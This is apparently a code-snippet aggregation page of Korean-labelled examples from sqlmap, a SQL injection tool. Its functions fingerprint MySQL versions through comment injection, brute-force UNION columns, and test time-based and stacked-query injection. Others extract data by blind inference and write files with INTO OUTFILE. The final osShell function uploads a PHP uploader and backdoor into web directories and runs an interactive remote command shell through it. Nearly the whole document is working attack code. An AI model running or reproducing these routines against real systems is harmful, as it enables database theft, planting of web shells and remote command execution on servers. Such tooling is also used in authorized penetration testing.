예제 #1
0
    def __commentCheck(self):
        infoMsg = "executing MySQL comment injection fingerprint"
        logger.info(infoMsg)

        query   = agent.prefixQuery(" /* NoValue */")
        query   = agent.postfixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform MySQL comment injection"
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 01/2010
        versions = (
                     (32200, 32234),    # MySQL 3.22
                     (32300, 32360),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40123),    # MySQL 4.1
                     (50000, 50090),    # MySQL 5.0
                     (50100, 50142),    # MySQL 5.1
                     (50400, 50405),    # MySQL 5.4
                     (50500, 50502),    # MySQL 5.5
                     (60000, 60011),    # MySQL 6.0
                   )

        for element in versions:
            prevVer = None

            for version in range(element[0], element[1] + 1):
                randInt = randomInt()
                version = str(version)
                query   = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
예제 #2
0
    def __commentCheck(self):
        logMsg = "executing MySQL comment injection fingerprint"
        logger.info(logMsg)

        query   = agent.prefixQuery(" /* NoValue */")
        query   = agent.postfixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if result != kb.defaultResult:
            warnMsg = "unable to perform MySQL comment injection"
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated at 10/2008
        versions = (
                     (32200, 32233),    # MySQL 3.22
                     (32300, 32359),    # MySQL 3.23
                     (40000, 40031),    # MySQL 4.0
                     (40100, 40125),    # MySQL 4.1
                     (50000, 50074),    # MySQL 5.0
                     (50100, 50131),    # MySQL 5.1
                     (60000, 60009),    # MySQL 6.0
                   )

        for element in versions:
            prevVer = None

            for version in range(element[0], element[1] + 1):
                randInt = randomInt()
                version = str(version)
                query   = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)

                if result == kb.defaultResult:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
예제 #3
0
def __unionTestByNULLBruteforce(comment):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    columns = None
    value   = None
    query   = agent.prefixQuery(" UNION ALL SELECT NULL")

    for count in range(0, 50):
        if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
            query = query[:-len(" FROM DUAL")]

        if count:
            query += ", NULL"

        if kb.dbms == "Oracle":
            query += " FROM DUAL"

        commentedQuery = agent.postfixQuery(query, comment)
        payload        = agent.payload(newValue=commentedQuery)
        seqMatcher     = Request.queryPage(payload, getSeqMatcher=True)

        if seqMatcher >= 0.6:
            columns = count + 1
            value   = __forgeUserFriendlyValue(payload)

            break

    return value, columns
예제 #4
0
    def uncPathRequest(self):
        if not kb.stackedTest:
            query   = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
            query   = agent.postfixQuery(query)
            payload = agent.payload(newValue=query)

            Request.queryPage(payload)
        else:
            inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
예제 #5
0
def goStacked(expression):
    """
    TODO: write description
    """

    comment = queries[kb.dbms].comment
    query   = agent.prefixQuery("; %s" % expression)
    query   = agent.postfixQuery("%s;%s" % (query, comment))
    payload = agent.payload(newValue=query)
    page    = Request.queryPage(payload, content=True)

    return payload, page
예제 #6
0
def goStacked(expression):
    """
    TODO: write description
    """

    comment = queries[kb.dbms].comment
    query = agent.prefixQuery("; %s" % expression)
    query = agent.postfixQuery("%s;%s" % (query, comment))
    payload = agent.payload(newValue=query)
    page = Request.queryPage(payload, content=True)

    return payload, page
예제 #7
0
 def __webFileInject(self, fileContent, fileName, directory):
     outFile = posixpath.normpath("%s/%s" % (directory, fileName))
     uplQuery = fileContent.replace(
         "WRITABLE_DIR", directory.replace("/", "\\") if kb.os == "Windows" else directory
     )
     query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
     query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
     query = agent.prefixQuery(" %s" % query)
     query = agent.postfixQuery(query)
     payload = agent.payload(newValue=query)
     page = Request.queryPage(payload)
     return page
예제 #8
0
def goStacked(expression, silent=False):
    expression = cleanQuery(expression)

    debugMsg = "query: %s" % expression
    logger.debug(debugMsg)

    comment = queries[kb.dbms].comment
    query = agent.prefixQuery("; %s" % expression)
    query = agent.postfixQuery("%s;%s" % (query, comment))
    payload = agent.payload(newValue=query)
    page, _ = Request.queryPage(payload, content=True, silent=silent)

    return payload, page
예제 #9
0
def timeTest():
    infoMsg  = "testing time based blind sql injection on parameter "
    infoMsg += "'%s' with AND condition syntax" % kb.injParameter
    logger.info(infoMsg)

    timeQuery = getDelayQuery(andCond=True)
    query     = agent.prefixQuery(" AND %s" % timeQuery)
    query     = agent.postfixQuery(query)
    payload   = agent.payload(newValue=query)
    start     = time.time()
    _         = Request.queryPage(payload)
    duration  = int(time.time() - start)

    if duration >= conf.timeSec:
        infoMsg  = "the parameter '%s' is affected by a time " % kb.injParameter
        infoMsg += "based blind sql injection with AND condition syntax"
        logger.info(infoMsg)

        kb.timeTest = payload

    else:
        warnMsg  = "the parameter '%s' is not affected by a time " % kb.injParameter
        warnMsg += "based blind sql injection with AND condition syntax"
        logger.warn(warnMsg)

        infoMsg  = "testing time based blind sql injection on parameter "
        infoMsg += "'%s' with stacked query syntax" % kb.injParameter
        logger.info(infoMsg)

        timeQuery  = getDelayQuery(andCond=True)
        start      = time.time()
        payload, _ = inject.goStacked(timeQuery)
        duration   = int(time.time() - start)

        if duration >= conf.timeSec:
            infoMsg  = "the parameter '%s' is affected by a time " % kb.injParameter
            infoMsg += "based blind sql injection with stacked query syntax"
            logger.info(infoMsg)

            kb.timeTest = payload
        else:
            warnMsg  = "the parameter '%s' is not affected by a time " % kb.injParameter
            warnMsg += "based blind sql injection with stacked query syntax"
            logger.warn(warnMsg)

            kb.timeTest = False

    return kb.timeTest
예제 #10
0
def timeTest():
    infoMsg = "testing time based blind sql injection on parameter "
    infoMsg += "'%s' with AND condition syntax" % kb.injParameter
    logger.info(infoMsg)

    timeQuery = queries[kb.dbms].timedelay % SECONDS

    query = agent.prefixQuery(" AND %s" % timeQuery)
    query = agent.postfixQuery(query)
    payload = agent.payload(newValue=query)
    start = time.time()
    _ = Request.queryPage(payload)
    duration = int(time.time() - start)

    if duration >= SECONDS:
        infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
        infoMsg += "based blind sql injection with AND condition syntax"
        logger.info(infoMsg)

        kb.timeTest = payload

    else:
        warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
        warnMsg += "based blind sql injection with AND condition syntax"
        logger.warn(warnMsg)

        infoMsg = "testing time based blind sql injection on parameter "
        infoMsg += "'%s' with stacked query syntax" % kb.injParameter
        logger.info(infoMsg)

        start = time.time()
        payload, _ = inject.goStacked(timeQuery)
        duration = int(time.time() - start)

        if duration >= SECONDS:
            infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
            infoMsg += "based blind sql injection with stacked query syntax"
            logger.info(infoMsg)

            kb.timeTest = payload
        else:
            warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
            warnMsg += "based blind sql injection with stacked query syntax"
            logger.warn(warnMsg)

            kb.timeTest = False

    return kb.timeTest
예제 #11
0
def __effectiveUnionTest(query, comment):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    resultDict = {}

    for count in range(0, 50):
        if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
            query = query[:-len(" FROM DUAL")]

        if count:
            query += ", NULL"

        if kb.dbms == "Oracle":
            query += " FROM DUAL"

        commentedQuery = agent.postfixQuery(query, comment)
        payload = agent.payload(newValue=commentedQuery)
        newResult = Request.queryPage(payload)

        if not newResult in resultDict.keys():
            resultDict[newResult] = (1, commentedQuery)
        else:
            resultDict[newResult] = (resultDict[newResult][0] + 1,
                                     commentedQuery)

        if count:
            for element in resultDict.values():
                if element[0] == 1:
                    if kb.injPlace == "GET":
                        value = "%s?%s" % (conf.url, payload)
                    elif kb.injPlace == "POST":
                        value = "URL:\t'%s'" % conf.url
                        value += "\nPOST:\t'%s'\n" % payload
                    elif kb.injPlace == "Cookie":
                        value = "URL:\t'%s'" % conf.url
                        value += "\nCookie:\t'%s'\n" % payload
                    elif kb.injPlace == "User-Agent":
                        value = "URL:\t\t'%s'" % conf.url
                        value += "\nUser-Agent:\t'%s'\n" % payload

                    return value

    return None
예제 #12
0
def __effectiveUnionTest(query, comment):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    resultDict = {}

    for count in range(0, 50):
        if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
            query = query[:-len(" FROM DUAL")]

        if count:
            query += ", NULL"

        if kb.dbms == "Oracle":
            query += " FROM DUAL"

        commentedQuery = agent.postfixQuery(query, comment)
        payload = agent.payload(newValue=commentedQuery)
        newResult = Request.queryPage(payload)

        if not newResult in resultDict.keys():
            resultDict[newResult] = (1, commentedQuery)
        else:
            resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)

        if count:
            for element in resultDict.values():
                if element[0] == 1:
                    if kb.injPlace == "GET":
                        value = "%s?%s" % (conf.url, payload)
                    elif kb.injPlace == "POST":
                        value  = "URL:\t'%s'" % conf.url
                        value += "\nPOST:\t'%s'\n" % payload
                    elif kb.injPlace == "Cookie":
                        value  = "URL:\t'%s'" % conf.url
                        value += "\nCookie:\t'%s'\n" % payload
                    elif kb.injPlace == "User-Agent":
                        value  = "URL:\t\t'%s'" % conf.url
                        value += "\nUser-Agent:\t'%s'\n" % payload

                    return value

    return None
예제 #13
0
def __unionTestByOrderBy(comment):
    columns     = None
    value       = None
    prevPayload = ""

    for count in range(1, 51):
        query        = agent.prefixQuery(" ORDER BY %d" % count)
        orderByQuery = agent.postfixQuery(query, comment)
        payload      = agent.payload(newValue=orderByQuery)
        seqMatcher   = Request.queryPage(payload, getSeqMatcher=True)

        if seqMatcher >= 0.6:
            columns = count

        elif columns:
            value = __forgeUserFriendlyValue(prevPayload)

            break

        prevPayload = payload

    return value, columns
예제 #14
0
def __goInferenceProxy(expression, fromUser=False, expected=None):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    query          = agent.prefixQuery(" %s" % temp.inference)
    query          = agent.postfixQuery(query)
    payload        = agent.payload(newValue=query)
    count          = None
    startLimit     = 0
    stopLimit      = None
    outputs        = []
    test           = None
    untilLimitChar = None
    untilOrderChar = None

    output = resume(expression, payload)

    if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
        return output

    if kb.dbmsDetected:
        _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)

        if len(expressionFieldsList) > 1:
            infoMsg  = "the SQL query provided has more than a field. "
            infoMsg += "sqlmap will now unpack it into distinct queries "
            infoMsg += "to be able to retrieve the output even if we "
            infoMsg += "are going blind"
            logger.info(infoMsg)

        # If we have been here from SQL query/shell we have to check if
        # the SQL query might return multiple entries and in such case
        # forge the SQL limiting the query output one entry per time
        # NOTE: I assume that only queries that get data from a table
        # can return multiple entries
        if fromUser and " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( "MySQL", "PostgreSQL" ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart
                    limitGroupStop  = queries[kb.dbms].limitgroupstop

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring)
                        expression = expression[:untilLimitChar]

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
                        test = "n"
                    else:
                        message  = "can the SQL query provided return "
                        message += "multiple entries? [Y/n] "
                        test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count % expressionFieldsList[0]
                    countedExpression = expression.replace(expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, payload)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            count = __goInference(payload, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            count = int(count)

                            message  = "the SQL query provided can return "
                            message += "up to %d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit\nChoice: "
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                return "Quit"

                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg  = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "How many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "Invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "Invalid choice"
                                logger.error(errMsg)

                                return None

                        elif count and not count.isdigit():
                            warnMsg  = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return None

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return None

                    for num in xrange(startLimit, stopLimit):
                        limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)

                        output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
                        outputs.append(output)

                    return outputs

        elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
            expression = "%s FROM DUAL" % expression

        outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)

        returnValue = ", ".join([output for output in outputs])

    else:
        returnValue = __goInference(payload, expression)

    return returnValue
예제 #15
0
def __goInferenceProxy(expression, fromUser=False, expected=None):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    query = agent.prefixQuery(" %s" % temp.inference)
    query = agent.postfixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = []
    test = None
    untilLimitChar = None
    untilOrderChar = None

    output = resume(expression, payload)

    if output and (expected == None or
                   (expected == "int" and output.isdigit())):
        return output

    if kb.dbmsDetected:
        _, _, _, expressionFieldsList, expressionFields = agent.getFields(
            expression)

        if len(expressionFieldsList) > 1:
            infoMsg = "the SQL query provided has more than a field. "
            infoMsg += "sqlmap will now unpack it into distinct queries "
            infoMsg += "to be able to retrieve the output even if we "
            infoMsg += "are going blind"
            logger.info(infoMsg)

        # If we have been here from SQL query/shell we have to check if
        # the SQL query might return multiple entries and in such case
        # forge the SQL limiting the query output one entry per time
        # NOTE: I assume that only queries that get data from a table
        # can return multiple entries
        if fromUser and " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression,
                                    re.I)

            if limitRegExp:
                if kb.dbms in ("MySQL", "PostgreSQL"):
                    limitGroupStart = queries[kb.dbms].limitgroupstart
                    limitGroupStop = queries[kb.dbms].limitgroupstop

                    if limitGroupStart.isdigit():
                        startLimit = int(
                            limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in ("Oracle", "Microsoft SQL Server"):
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ("MySQL", "PostgreSQL"):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(
                            queries[kb.dbms].limitstring)
                        expression = expression[:untilLimitChar]

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == "Oracle" and expression.endswith(
                            "FROM DUAL"):
                        test = "n"
                    else:
                        message = "can the SQL query provided return "
                        message += "multiple entries? [Y/n] "
                        test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    # Count the number of SQL query entries output
                    countFirstField = queries[
                        kb.dbms].count % expressionFieldsList[0]
                    countedExpression = expression.replace(
                        expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, payload)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            count = __goInference(payload, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            count = int(count)

                            message = "the SQL query provided can return "
                            message += "up to %d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit\nChoice: "
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                return "Quit"

                            elif test.isdigit(
                            ) and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "How many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "Invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "Invalid choice"
                                logger.error(errMsg)

                                return None

                        elif count and not count.isdigit():
                            warnMsg = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif (not count or int(count) == 0):
                            warnMsg = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return None

                    elif (not count or int(count) == 0) and (not stopLimit or
                                                             stopLimit == 0):
                        warnMsg = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return None

                    for num in xrange(startLimit, stopLimit):
                        limitedExpr = agent.limitQuery(num, expression,
                                                       expressionFieldsList)

                        output = __goInferenceFields(limitedExpr,
                                                     expressionFields,
                                                     expressionFieldsList,
                                                     payload, expected)
                        outputs.append(output)

                    return outputs

        elif kb.dbms == "Oracle" and expression.startswith(
                "SELECT ") and " FROM " not in expression:
            expression = "%s FROM DUAL" % expression

        outputs = __goInferenceFields(expression, expressionFields,
                                      expressionFieldsList, payload, expected)

        returnValue = ", ".join([output for output in outputs])

    else:
        returnValue = __goInference(payload, expression)

    return returnValue
예제 #16
0
    def osShell(self):
        """
        This method is used to write a PHP agent (cmd.php) on a writable
        remote directory within the web server document root.
        Such agent is written using the INTO OUTFILE MySQL DBMS
        functionality

        @todo: * Add a web application crawling functionality to detect
               all (at least most) web server directories and merge with
               Google results if the target host is a publicly available
               hostname or IP address;
               * Extend to all DBMS using their functionalities (UDF, stored
               procedures, etc) to write files on the system or directly
               execute commands on the system without passing by the agent;
               * Automatically detect the web server available interpreters
               parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
               response headers;
               * Extend the agent to other interpreters rather than only PHP:
               ASP, JSP, CGI (Python, Perl, Ruby, Bash).
        """

        logMsg  = "retrieving web application directories"
        logger.info(logMsg)

        directories = getDirectories()

        if directories:
            logMsg  = "retrieved web server directories "
            logMsg += "'%s'" % ", ".join(d for d in directories)
            logger.info(logMsg)

            message  = "in addition you can provide a list of directories "
            message += "absolute path comma separated that you want sqlmap "
            message += "to try to upload the agent [/var/www/test]: "
            inputDirs = readInput(message, default="/var/www/test")
        else:
            message = "please provide the web server document root [/var/www]: "
            inputDocRoot = readInput(message, default="/var/www")

            if inputDocRoot:
                kb.docRoot = inputDocRoot
            else:
                kb.docRoot = "/var/www"

            message  = "please provide a list of directories absolute path "
            message += "comma separated that you want sqlmap to try to "
            message += "upload the agent [/var/www/test]: "
            inputDirs = readInput(message, default="/var/www/test")

        if inputDirs:
            inputDirs = inputDirs.replace(", ", ",")
            inputDirs = inputDirs.split(",")

            for inputDir in inputDirs:
                directories.add(inputDir)
        else:
            directories.add("/var/www/test")

        logMsg  = "trying to upload the uploader agent"
        logger.info(logMsg)

        directories = list(directories)
        directories.sort()
        uploaded = False

        backdoorName = "backdoor.php"
        backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
        uploaderName = "uploader.php"
        uploaderStr  = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))

        for directory in directories:
            if uploaded:
                break

            # Upload the uploader agent
            uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
            query  = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
            query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery

            query = agent.prefixQuery(" %s" % query)
            query = agent.postfixQuery(query)

            payload = agent.payload(newValue=query)
            page = Request.queryPage(payload)

            if kb.docRoot:
                requestDir = directory.replace(kb.docRoot, "")
            else:
                requestDir = directory

            baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
            uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
            page, _ = Request.getPage(url=uploaderUrl, direct=True)

            if "sqlmap backdoor uploader" not in page:
                warnMsg  = "unable to upload the uploader "
                warnMsg += "agent on '%s'" % directory
                logger.warn(warnMsg)

                continue

            logMsg  = "the uploader agent has been successfully uploaded "
            logMsg += "on '%s'" % directory
            logger.info(logMsg)

            # Upload the backdoor through the uploader agent
            multipartParams = {
                                "upload":    "1",
                                "file":      open(backdoorPath, "r"),
                                "uploadDir": directory,
                              }
            uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
            page, _ = Request.getPage(url=uploaderUrl, multipart=multipartParams)

            if "Backdoor uploaded" not in page:
                warnMsg  = "unable to upload the backdoor through "
                warnMsg += "the uploader agent on '%s'" % directory
                logger.warn(warnMsg)

                continue

            uploaded = True

            backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
            logMsg  = "the backdoor has been successfully uploaded on "
            logMsg += "'%s', go with your browser to " % directory
            logMsg += "'%s' and enjoy it!" % backdoorUrl
            logger.info(logMsg)

            message  = "do you want to use the uploaded backdoor as a "
            message += "shell to execute commands right now? [Y/n] "
            shell = readInput(message, default="Y")

            if shell in ("n", "N"):
                continue

            logMsg  = "calling OS shell. To quit type "
            logMsg += "'x' or 'q' and press ENTER"
            logger.info(logMsg)

            autoCompletion(osShell=True)

            while True:
                command = None

                try:
                    command = raw_input("$ ")
                except KeyboardInterrupt:
                    print
                    errMsg = "user aborted"
                    logger.error(errMsg)
                except EOFError:
                    print
                    errMsg = "exit"
                    logger.error(errMsg)
                    break

                if not command:
                    continue

                if command.lower() in ( "x", "q", "exit", "quit" ):
                    break

                cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
                page, _ = Request.getPage(url=cmdUrl, direct=True)
                output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)

                if output:
                    print output.group(1)
                else:
                    print "No output"